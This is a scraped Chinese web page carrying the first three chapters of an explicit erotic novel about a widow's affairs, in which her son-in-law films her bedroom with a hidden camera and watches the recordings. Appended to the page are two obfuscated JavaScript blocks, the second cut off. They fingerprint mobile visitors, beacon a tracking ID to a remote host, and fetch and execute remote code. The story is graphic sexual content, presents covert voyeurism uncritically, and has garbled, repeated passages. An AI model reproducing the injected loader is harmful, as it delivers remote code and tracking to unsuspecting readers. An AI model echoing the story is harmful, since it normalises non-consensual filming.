图片载入中

东北人都是活雷锋(上)

特大字】 【大字】 【中字】 【小字

第一章

从飞机上看下去,在天高水远的西部,一片土黄色绵延起伏,而就在这看似蛮荒之处却隐着一片绿洲。这里叫做云城。距离省城也不过几个小时车程。云城在历史上很有名,历史记载中这里是蒙古入侵中原的重要关口。在蒙古铁蹄下,不知道有多少人在这里成为亡魂。

这云城长久来由于闭塞极落后,导致这里漂亮的婆姨纷纷跑到外面,云城的婆姨不嫁云城的汉。俗话说风水轮流转,又说三十年河东三十年河西。就在这几年,云城旁边的云雾山中居然挖出了大煤矿。这山中有煤是云城人早就知道的,很多年来,这山中的土路上都铺着煤。城里的人也到山中买煤,拿回家里烧饭烧菜烤火。这个煤矿开挖后,周边的农民都被搬迁进城市了,赔偿款让这些昨天还在挖地劳作的农民变成了阔佬。

云城本是个山清水秀之地,因为煤矿开采,空气变得污浊起来。市政府又忙着治理污染。换一届政府就要折腾一番。老百姓直摇头叹气,有些好事的就说钱都让那帮狗日的当官的贪污完了,治理个球!话虽然如此不堪,可日子还是得过下去。

云城越发聚集了许多外地人,不同年纪的男人女人,婆姨汉子。都眼巴巴的想在这富得流油遍地金子之地找些票子,做着发家致富的美梦。城市周边也就多了些洗脚房、美容店、理发店,里面坐了些打扮妖艳、描眉画眼的各色女人。这些女人也不知道是从哪里钻出来的,闻着钱的味道就来到了云城。这云城也就越发成为了物欲横流、娼妓遍地的地处。

而这云城中有一户人家,女人名叫夏晓兰,丈夫入牢房后就与女儿女婿同住。

这夏晓兰年过四十,却实在是又几分姿色,又兼身段风骚,四周自然是围满了骚浪轻薄的男人。可这夏晓兰虽然丈夫进了牢房,却也颇守妇道,那些男人都是百般勾引却毫无所得,一个个是败兴而去。于是外面都传这夏晓兰是正经女人,针扎不进,水泼不入。

这一日,太阳落下后,街巷中就有了些许凉气。夏晓兰在窗口看看外面,就换了一件兰色的连衣裙,下了楼走到街对面的惠民超市里面去买了些西红柿、牛排和水果。

超市里面有两个年轻的男女相伴着买东西,二人不时说笑着。夏晓兰看着那个男青年明亮的眼睛,就想起在上个月和女儿女婿去西安旅游时认识的乔亚。乔亚是柳月的大学同学,他说他现在在大学读博士。他们在西安是偶然相遇的。

夏晓兰想起乔亚就觉得心里一热。他看到她时的眼神好热烈,在旅途中他总是想办法接近她,帮她拿行李。他的眼睛那么活泼明亮,身体健壮有力。虽然他没有女婿赵宾那么英俊,可是也很有男人味道。现在如果自己去找他,他会在吗?

他会是什么表情?一定会惊讶地立起眉毛,他是个夸张的人。可是他很有趣,而且很大胆。去不去找他呢?她答应过他要去找他。那是在他偷偷拉住她的手,把她的身体紧紧压在酒店房间的门口时,她在紧张中随口答应他的。如果她真去找他,他会是什么反映?吃惊?兴奋?

夏晓兰心里犹豫着,如果去找他会发生什么呢?也许是那种事情呢。想到这儿夏晓兰感觉有些紧张和兴奋。她喜欢冒险,这是她的性格。她低头看看手表,已经七点了。

榕城大学距离夏晓兰的房子并不很远。就是十几分钟的路程。城市的夜晚灯火通明。正是处暑天,街坊中的人们三两成群,或打着赤膊或摇着蒲扇在路灯下摆着龙门阵。闲适的生活虽然平淡却又那么沁人心脾。缓慢的生活节奏带给人平静的心情。

已经七点多了,天色已经暗下来。夏晓兰走的是街巷,她对于榕城再熟悉不过,毕竟她在这里生活了三十多年。这些道路对于她很密切,她走了不知道多少来回。

进入校园,夏晓兰已经认不出来了。她很多年没有来过这里了。几乎所有建筑都改变了。只是那一栋欧洲风格的老楼还立在那里。那里是她当年经常去的地方。旁边有个体育场,里面几个篮球场。她常常去那里看男同学打球,当然其实是看一个人。这已经成为她的秘密,即便是后来的丈夫她也从来没提起过。

那个人带给她初恋的甜蜜,也夺去了她的贞操。让她从一个女孩变成女人。

在学生公寓前,夏晓兰对值班老头说找研究生部的乔亚,值班员狐疑地上下打量她,半天说道:“你是他什么人,你找他有什么事情吗?”夏晓兰笑道:“哦,哈哈,我是他的老师。他有个东西拉在我那儿了。我现在给他拿过来”。

老头听了神情舒缓些,说道:“哦,你是老师啊。他们几个学生去打篮球去了,就在前面拐角。你去那儿找找”。

傍晚时分,许多的学生都在校园里面四处活动。清凉的晚风徐徐吹来,带来一阵难得的凉意。走过细碎的石子路,夏晓兰来到球场边。台阶上面已经坐了些学生。场地中正在比赛。一边是国人一边是洋人。

乔亚也在其中。身材高大的乔亚在场地中却并不显得高大,因为其余的人更高。他明显是打后卫位置。夏晓兰兴致勃勃地找了个地方坐下看着比赛。

乔亚从场地上面下来时一直没有注意到夏晓兰。夏晓兰有点失落。她默默地看着乔亚脱了汗水浸透的上衣,露出一身强健的躯体。那是一具有杀伤力的肉体。

夏晓兰看到他的胳膊上面有几处伤口,显然是刚才拼抢时落下的。场地边上看比赛的人开始散了。只是留下乔亚和几个学生还在讨论着什么。只是他们说的快,夏晓兰很难都听懂。夏晓兰大着胆子走进乔亚,她轻轻拍了一下乔亚裸露的的后背。乔亚一回身看到是夏晓兰,眼睛几乎要蹦出来。他惊喜地大声道:“我的天,你怎么来了?”乔亚带着夏晓兰到了学校外边一条街道上的一家酒吧。酒吧招牌上面写的moon月光酒吧。酒吧里面坐了几个外国人和几个中国女性。他们在窃窃私语。

不时笑着。这里是乔亚喜欢来的地方,也是附近外国人和学生常来的地方。夏晓兰坐下后一个中年男人笑着过来与乔亚打招唿,“嘿,乔亚。好几天没见,你在忙什么。哦,这是你的女朋友吗?”中年男人好奇地看看夏晓兰,夏晓兰戴着白色棒球帽,帽檐低得几乎遮住了眼睛。乔亚笑道:“老汤,你还是那么好奇。这是我一位朋友。你不认识的。你可以给我们来两杯水吗?”中年男笑道:“没问题,只是水吗?”乔亚笑道:

“加冰”。中年男笑着走了。

乔亚盯着夏晓兰胸前那一大片雪白细腻的肌肤,笑道:“真想不到你这么快就来找我,我有点那个,哦,受宠若惊了”。夏晓兰听了,温柔地一拢下秀发,风姿诱人地笑道:“是吗?真的假的哦”。乔亚认真地点头道:“当然是真的”。

中年男将冰水拿来放在桌子上,意味深长地看了一眼夏晓兰,就转身走了。

乔亚与夏晓兰喝着红酒,直到快十点了。夏晓兰就说我得回去了,天已经很晚了。乔亚见状就说那我送你吧,你住什么地方?夏晓兰笑道,也不远的,穿过校园就是了。二人就步行进了校园沿着北边的道路走着。

走过刚才打球的球场时,乔亚一把将夏晓兰拉进树荫中。这里人很少,加上已经十点多了。乔亚和夏晓兰喘息着,身体紧紧纠缠在一起。乔亚充满欲望的手在妇人肉欲的身体游走着,揉搓着。妇人甘心于年轻男人的拥抱与抚弄,鼻子中发出沉醉般的呻吟。当乔亚一边与妇人唇舌纠缠在一起,一边把大手伸进妇人的裙子中的内裤里面抓弄着妇人肉滚滚的臀肉,手指轻轻地在妇人毛茸茸的湿润肉缝中揉搓时,妇人将头无力地靠在男人肩膀上,喘息地在男人耳边柔声说道:“讨厌,别弄那儿,我都可以当你妈了,你还乱搞。”

第二章

夏晓兰起初是个公司职员,身材高大丰满的她有着一头浓密的秀发,两只多情的大眼总是含着笑意。她的丈夫原来是云城市政府的一位处级干部,因为贪污公款被判刑8年。丈夫入狱后,她就和女儿柳月,女婿赵宾在城西雾山的一栋二层别墅里面打火过日子。柳月原来是市人民医院内科的一名医生,后来自己开了一家美容院。女婿赵宾是一家房地产公司的销售经理。

一早,赵宾就爬起来洗漱了坐到饭桌上吃早餐。夏晓兰做了绿豆稀饭、韩国泡茶、茶叶蛋、一笼肉包子。

夏晓兰看着赵宾大口吃着,笑道:慢点吃小心别噎着了,时间还早。

赵宾抬头看看表,笑道:还有十五分钟就开车了。

夏晓兰道:一会我开车送你去火车站。你哪天回来啊。到时我好做饭。

赵宾道:明天下午就回来了。妈你需要买啥东西不?上次我给你买的裙子你咋没穿啊?

夏晓兰笑道:不用,你买东西啥时合适过?尽白花钱。难怪柳月说你是甩手掌柜。上次买的裙子偏大了,胸口又透,我好意思穿?大半个胸都露了。你存心让人笑话你妈。

赵宾听了忙道:天地良心啊。妈,我对您可是忠心耿耿啊。柳月是不是又说我坏话了。你可别听她的。她看到我们俩关系好了就不安逸,好像我们背着她有啥事是的,她成天疑神疑鬼的。你别信她的话。

夏晓兰听了脸红着,抿着嘴笑,好一会才说:你别乱说话。柳月可从没说你坏话的。是你小心眼。我和你能有什么事。你别以为自己长得有多帅似的。哈哈。

柳月没你想的那幺小气。我看倒是你胡思乱想的。以后啊你要对她好,女人吗,在外面闯荡不容易,你别见她和男人在一起就多心。她不是那么随便的人。哪个女人会和男人随便上床?总要自己喜欢才行。结婚的女人更不会的。你别乱怀疑她。

赵宾听了苦笑着说:妈你就是护她还用我怀疑?上次去西安,那个乔亚不就是她的情人吗?以为我啥也不知道。其实我早发现了。柳月从她开美容院挣到钱了就变了。你也惯她,没人敢说她的不是。哎,我也忍了。妈你就看不出来吗?

夏晓兰爱怜地看看他说道:“阿宾,我知道你委屈。柳月太要强,呢你受了不少气。妈都看到心里了。别说你,有时妈不是也受气?柳月脾气大,她又不顾的。哎。

赵宾叹气道:“又能咋样。”

夏晓兰忽然道哎哟光顾说话了要到九点了二人忙急急下楼坐车赶到火车站。

夏晓兰送赵宾上了火车没有回家。她开车在车站附近的一个茶楼下面停了车。

就上茶楼去坐着喝茶。她在等着接人。

她等的人是魏虎。魏虎是夏晓兰大学同学。在榕城大学读书时外表豪放不羁的魏虎就喜欢上身材丰满高大皮肤白皙长发飘逸的夏晓兰。在众多追求者中脸皮厚重的魏虎笑到最后没到毕业他在一次酒吧狂欢候在宿舍里夺去了夏晓兰的初夜。

大学毕业后魏虎分配到榕城市政府。而夏晓兰没有能留在榕城,她去云城。

在那里她遇到田平。田平的父亲是云城的一名副市长。在田平帮助下她从县城调到云城市。后来她就嫁给身材粗短相貌平平的田平。

而就在她结婚后不久魏虎就找到她痛心疾首的魏虎无法接受她居然嫁给了田平这样平庸的男人。

就在宾馆里面才新婚不久的夏晓兰和魏虎就出轨了。魏虎带给她久违的肉体疯狂和高潮。那以后,夏晓兰就像吸毒一样和魏虎保持着情人关系。每个月魏虎都会来云城。而柳月就是魏虎的女儿。与魏虎一样柳月大气而不拘小节。

魏虎给夏晓兰打电话告诉她回来的时间,夏晓兰开车到火车站接了他就直接回家了。一路上夏晓兰惟恐被熟人看到,妇人心里一直打鼓。

柳月和赵宾都不在家。柳月前几日到广州去联系业务去了,需要一个月多才回来。女婿赵宾去白城去处理些生意上的事情。这是夏晓兰答应让魏虎来家的主要原因。

魏虎进屋后夏晓兰就去浴室给他放水洗澡。在魏虎洗澡时夏晓兰又忙去厨房做菜。夏晓兰她知道魏虎喜欢吃牛排,专门去买了上好的牛排,这会就忙去油炸了。听着浴室里面传出来的水声,想着刚才与男人拥抱亲吻时男人身上那浓浓的味道,那络腮胡子在她脖颈间麻酥酥的感觉,浴室中那具曾经熟悉的健壮的肉体,妇人不由得心中荡漾得难以自持,她深吸了口气,心里随即又羞愧起来。

牛排很快弄好了。夏晓兰看魏虎还在洗澡,就去卧室里面。妇人解开胸罩,让丰满硕大的乳房彻底放松开了,妇人站在镜子前,手举着一对玉白的大乳看着。

许久没有见了,他还会喜欢吗?摸着自己滑腻的丰乳和红润欲滴的奶头,想着想着妇人就羞起来,私处感到一阵湿润。

魏虎洗完了澡。他换了件黑色T恤。看起来很酷的样子。夏晓兰站在客厅里正笑着看着他,魏虎看到妇人换了件红色的吊带裙。下摆很短,雪白圆润的丰满大腿几乎都裸露出来。魏虎看着心里住就一阵揉搓,笑道:“我的眼神怎么了?

咱俩认识这么多年了,你可没少说我眼睛色哈。”夏晓兰被男人揉搓得口鼻中娇哼不已,听了男人如此说,就撅着嘴撒娇道:

“呸,还好意思说。那几年,我和我老公还没有和你做爱多呢。人家尽被你欺负了。结果你说走就走了,都一年多了也没联系我,这会怎么想起找我来了?是不是和你家里那个人闹别扭了?”魏虎听了就大笑道:“咋这么说呢,我当初走不是跟你说了吗?我想找你也不方便,你和你女儿女婿住一块,我咋找你。就今天这来还不是要他们都不在家才行。我这次回来要住一段时间。”夏晓兰微微一笑,推开了男人,说道:“我们还是先吃东西吧”。

桌子上已经摆好了牛排、咖喱土豆、生菜、西红柿汤和红酒。夏晓兰举杯说道:“欢迎你来我家里做客”。魏虎笑道:“我可是非常荣幸,终于又见到你了“。二人就碰杯干了。

魏虎看起来是真饿了,他很快就将一盘子牛排都消灭干净。夏晓兰惊奇地看着。她没有见过这么能吃的人。她的女婿赵宾虽然也很能吃,可是与魏虎比就小巫见大巫了。

桌子上的酒已经喝完了。夏晓兰脸上飞起红霞,她有些醉意,裙下两条丰满滑嫩的大腿微微抖动着。魏虎笑眯眯地看着她。夏晓兰说道:“我喝多了”。魏虎却叹道:“啊,可是你更美丽性感了。你太迷人了”。夏晓兰媚眼看着他,说道:“是吗,你说的都是真的吗?我可是老了。你家里那个不是挺漂亮的吗”魏虎急道:“当然是真话,你一点也不显老。还是那么肉感。我老婆我现在基本不动她,她哪有你这么性感又骚玩起来带劲嘿嘿“。说毕他伸出小指头比划着。夏晓兰听了不由得意地大笑了,胸前一对丰硕的玉乳随着身子不住颤动。

魏虎见妇人骚态毕现,忍不住心中欲火就扑向妇人,将夏晓兰一把抱住。夏晓兰惊唿一声,口中娇笑道:“你做什么?你疯了吗?”妇人没有说完,魏虎的口将妇人的口堵住了,两人的舌头就如同恋人一般激烈地纠结在一起。魏虎的大手在妇人充满肉感的肉体上肆意游走着,揉搓得妇人口中呻吟不止。

魏虎野蛮地一把就将妇人的遮羞布扯开,妇人玉白肥挺的大屁股就裸露在魏虎眼睛前。魏虎一把抓住妇人高耸丰硕的大奶子揉搓着,妇人呻吟道:“别在这玩,小心被人看见,抱我去卧室里面吧”。

魏虎把妇人抱进卧室里面,轻柔地放到床上。妇人脸红扑扑的赤裸地横卧在床上,妇人含羞轻轻扭摆着腰,丰满圆润的肉体犹如一朵鲜花,丰满的大腿娇柔的慢慢敞开。妇人迎着魏虎野兽一把的目光,轻轻把两条丰满滑嫩的大腿慢慢打开,魏虎看到一片雪白中间那一点极具诱惑力的黑色。

魏虎手扶住夏晓兰雪白肥大的屁股。手指轻轻捅进她的肛门里面,夏晓兰不由得叫唤一声,一种奇怪的侵入感麻了全身。妇人不由得摆一下雪白肥大的屁股。

魏虎的手指随着妇人的屁股插入着。妇人哎哟叫一声就趴下来,口中说道:“不要这样子玩吗”。

魏虎嘿嘿笑着,将妇人抱起压在身下,肉棒就在妇人的肉穴口不断研磨,直到妇人呻吟不止。乔亚逗弄着妇人,妇人剧烈娇喘着,丰满酥软的屁股主动地追着男人的肉棒,想要把它吞进去。魏虎见妇人已经是一副淫荡模样,便不再去捉弄她,将肉棒狠狠插进妇人那温热紧裹的肉穴中。魏虎挺动着屁股抽插着,喘息道:“老田进牢房了几年了,是一副淫荡模样,便不再去捉弄她,将肉棒狠狠插进妇人那温热紧裹的肉穴中。魏虎挺动着屁股抽插着,喘息道:“老田进牢房了几年了,你这小穴痒痒了咋解决的,是不是又找了男人啊。”夏晓兰呻吟着双臂紧搂住男人健壮的身躯,魏虎巨硕的阴茎野蛮的在妇人的阴道里肆意冲刺着。夏晓兰的肉体不停摇摆着,剧烈的喘息着,勾着他的脖子喘息着:“去你的,讨厌死了说那些。我就等着你来干我呢,你老是不来,人家都急死了”。

伴随着妇人紧促的呻吟,魏虎牛一样喘息着,他越发激烈的挺动,灼热的激流射进妇人的体内,妇人高声叫喊着,双手死抓住床单瘫软在了床上。

第三章

赵宾回家后,夏晓兰见他一脸疲惫,忙上前来取了他的行李,问他怎么样了。

赵宾说道:“还没有完,这事不简单。干脆就拖起”。

夏晓兰道:“赵书记都出面了还不行?”赵宾道:“妈的,不是不行。就是要拖。那边送了钱了。收钱的人现在左右为难。他妈的”。夏晓兰听了却笑道:

“我看没什么事情,现在有钱的整不过有权的。你再有钱你只能送人。别人不一定收。可有权的人不一样。”赵宾就去浴室洗澡。一会探头出来喊道:妈,给我拿个内裤背心过来我忘记拿了。

夏晓兰听了就说道:你等会,我就拿来。心里说老是这样丢三落四的。妇人去赵宾的卧室寻了东西就拿到浴室门口,才说道:我放外面了。忽然浴室玻璃门打开了,赵宾光着身子笑道:拿来了?

夏晓兰猛然间看到赵宾赤裸的身子,俩腿间的肉棒红通通的,像个粗棍一样。

妇人一惊之下不由啊的叫唤起来。捂着眼睛,红着脸就退回客厅了。

半天赵宾洗澡完了。不好意思地过来看妇人。夏晓兰不好意思看他的眼睛。

赵宾说道:妈,刚才不好意思我没想到你在外面。夏晓兰不说话,听着赵宾喃喃地说了半天。妇人忽然轻声说道:讨厌!

吃完饭。夏晓兰就出去打麻将去了。赵宾回味着妇人刚才说的话。她说讨厌是什么意思?好像有点暧昧的?好像又不是。她还是那么端庄高贵。眼睛那么多情而平静,让人看了不敢有什么邪念。虽然他早就对妇人垂涎三尺了,可是夏晓兰高贵的气质让他每每都不敢轻举妄动。与柳月不同,夏晓兰从来对他关心,胜过妻子。甚至柳月都为此吃醋,说你们俩人也太亲密了我都要成外人了。

赵宾走到夏晓兰的卧室。他闻着妇人特有的芳香。他看着屋子里面,忽然却有些异样的感觉。空气中有种奇怪的味道。说不出来,但是明显。赵宾心咚咚乱跳,他一下就想到岳母在家里一定做了什事情么。会是什么人?做了什么事情?

操,这婆娘,老子不在就。。。。。

赵宾几步就跑到自己房间打开了电脑,他现在唯一就是希望自己偷偷安在岳母房间里面的摄像头拍到了什么?可是他不能确定摄像头有没有足够的电。毕竟他出去了两天。

电脑打开很慢,赵宾看着屏幕,手心里面都是汗。他打开D盘下面的program/ my文件夹。里面有三个新视频。赵宾紧张得透不过气来。他意识到岳母一定是做了什么。可是她会和谁?

第一个视频里面只有岳母。很普通的画面。打开第二个视频很奇怪。可以听到有人的笑声。赵宾却看不到人。对话的声音夹杂着中国话和外语。赵宾心一沉,操,妈的,外国人?赵宾一下子变得难堪。难道岳母会和外国人做爱吗?她是寻求刺激吗?

当岳母卧室灯光亮起来时,赵宾看清了紧紧抱住一起的男女。不是外国人,而居然就是那个岳母以前的同事魏虎,那个留着络腮胡的大个子中年男人!赵宾忽然一阵心痛,妈的,他们居然又干到一起了。虽然他早已经知道这二人的私情,可是今天又亲眼看到时仍然是那么心酸。他的岳母被别的男人抢走了!

赵宾看着屏幕上面的魏虎粗鲁地将岳母的睡裙扯开。岳母顿时变成了一个雪白的巨型大白兔。而岳母只是装模作样地叫唤了几声,她一边夸张地叫唤着,而她那让人垂涎欲滴的玉白大屁股却无耻地向着那个男人摇摆着,大大张开着。

视频中,魏虎的大手粗鲁地拍打着夏晓兰肥嫩的玉白大臀,口中说着脏话。

赵宾无奈地看着岳母被这个野兽般的男人粗鲁玩弄着,而让他尤其不解的是,岳母完全是一副很亢奋的样子。她好像一点也不讨厌,反而很享受。赵宾心乱如麻,他想不出岳母究竟有多少欲望,那些欲望又多么强烈。

魏虎把他粗大的肉棒拿出来时,已经被脱得光屁股了的夏晓兰惊唿着,一对大乳摇晃着就趴下去抓住了。

魏虎很兴奋地按住妇人的头,他坐在床边,夏晓兰就跪在地上握住肉棒舔食起来。

赵宾看到岳母撅起了雪白的大屁股,那个他已经非常熟悉的雪臀就对着镜头方向。赵宾想不到岳母会去吃男人的肉棒,她那么淫荡。居然去吃男人的肉棒。

她就那么骚吗?赵宾居然就兴奋起来,他的肉棒也从内裤中钻出来。

岳母跪在地毯上面,她的头不停动着。她在吃魏虎的肉棒。赵宾虽然看不清楚,可是他知道岳母在干什么。赵宾心中如同被刀割一般痛苦不堪。他闭上眼睛不忍再看。可是岳母和魏虎的喘息和呻吟声不住地传到他的耳朵里。他无从躲避。

魏虎实在是个玩弄女人的老手。他抱住妇人的屁股,用舌头在妇人肉穴不停地舔着,弄得夏晓兰丰满的肉体不停扭动,口中亢奋地大叫着。

赵宾紧张地闭上眼睛,岳母的亢奋带给他的是兴奋是刺激也是伤感。他今天终于看到岳母和别的男人性交,那个熟悉的岳母的肉体被一个陌生的男人玩弄得颤抖不已。岳母亢奋的表情和不停的叫唤让他。

屏幕上面的男女还在继续。魏虎已经把肉棒插入妇人的肉穴中。魏虎将妇人轻而易举地抱起来。这个男人有多强壮,居然能够把岳母轻易地举起来。妇人紧紧抱住魏虎,胸前的一对肥硕的乳房像兔子一样在男人胸口跳动着。岳母发出了呻吟声。这让赵宾震惊不已。他没有见过岳母会是这样狂放。她扭动腰肢时紧咬嘴唇的样子十分动人,她肥大的玉乳摆动作响。男人不停地抽插,不断刺激她的肉体,而她也不时兴奋地尖叫着。

赵宾绝望地看着屏幕中的岳母,肉棒越来越紧张,他不由呻吟起来,夹杂着无奈和莫名的痛苦。他身子颤抖着,眼睛看着胯下的肉棒一股一股地喷射着白色的精液。

夏晓兰回家已经是半夜了。她奇怪地看到赵宾躺在客厅沙发上面。她凑近看看他,却心里奇异。他好像生病了一样。脑门上面满是汗。她就叫道:“阿宾,你咋了生病了吗?妈给你倒口水喝好吗?要不要去医院看看?”夏晓兰伸手去扶她时,赵宾却意外地推开了她。夏晓兰被赵宾眼睛中的陌生吓到了。夏晓兰看着赵宾慢慢回到自己房间关上门。

赵宾感觉到了岳母迷惑不解的眼神,可是他没有回头。这对于他来说不是第一次,也许也不是最后一次发现她会与别的男人偷情。而最让他不堪的是,她几乎每次都会与男人纠缠不清。她是个烂情的女人。同时也是个多情的女人。操,妈的,老子不能就这么算了。

赵宾一夜不眠,他从床上起身时天已经大亮了。岳母不在家,家里很安静。

饭桌上摆着已经做好的早餐。

岳母对他总是那么细心体贴。赵宾到岳母的房间里面四处看着。床上的薄被胡乱堆着,岳母是爱整洁的人,今天却反常的没有叠被子,收拾房间。

直到中午,赵宾看到岳母回来了。她穿着兰色的连衣裙,身体丰满挺拔。雪白的大腿和高耸的乳房格外吸引人的眼球。她看起来是那么的端庄高贵,这与她的生活是那么的矛盾。她手里提着一个大包,看起来是买了不少东西。

夏晓兰进门就感觉到女婿的眼睛在盯着自己。她心里不由紧张地跳起来。她在离婚后就和女儿女婿相依为命,虽然不时有男人追求她想娶她,可她担心女儿不能接受都拒绝了。她想了很久,为什么女婿昨晚对她那么冷漠?她脑海中出现了几个男人。也许他发现了什么?也许是?

夏晓兰从包里取出了个包裹,她笑着看看女婿。他在偷看她。那是个新款苹果手机,是女婿常常说起的。

她几乎是咬牙买的。

夏晓兰把手机拿起来,故意大声说:“哎这么好的手机,就是不知道有人喜欢不?”女婿已经坐不住了。

夏晓兰暗笑,毕竟是个孩子,能坚持多久呢?

赵宾终于走过来,脸上带着好奇,嬉皮笑脸地哀求道:“妈,你说什么呢?

啥东西啊,给我看看”。夏晓兰故意不给他,口里说道:“干嘛给你看。又不是给你买的”。

赵宾一脸的急切,身子已经黏在夏晓兰身上了。口中道:“妈,求你了,给我看看好吗?”女婿的身体很结实健壮,夏晓兰可以明显感觉到男性躯体的力量和硬度。她忽然想起那是什么东西,脸就猛然红润了。


上一篇:仙道炼心(情色版)-第八集 第五章 龙归大海

下一篇:绿色的幸福未完


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 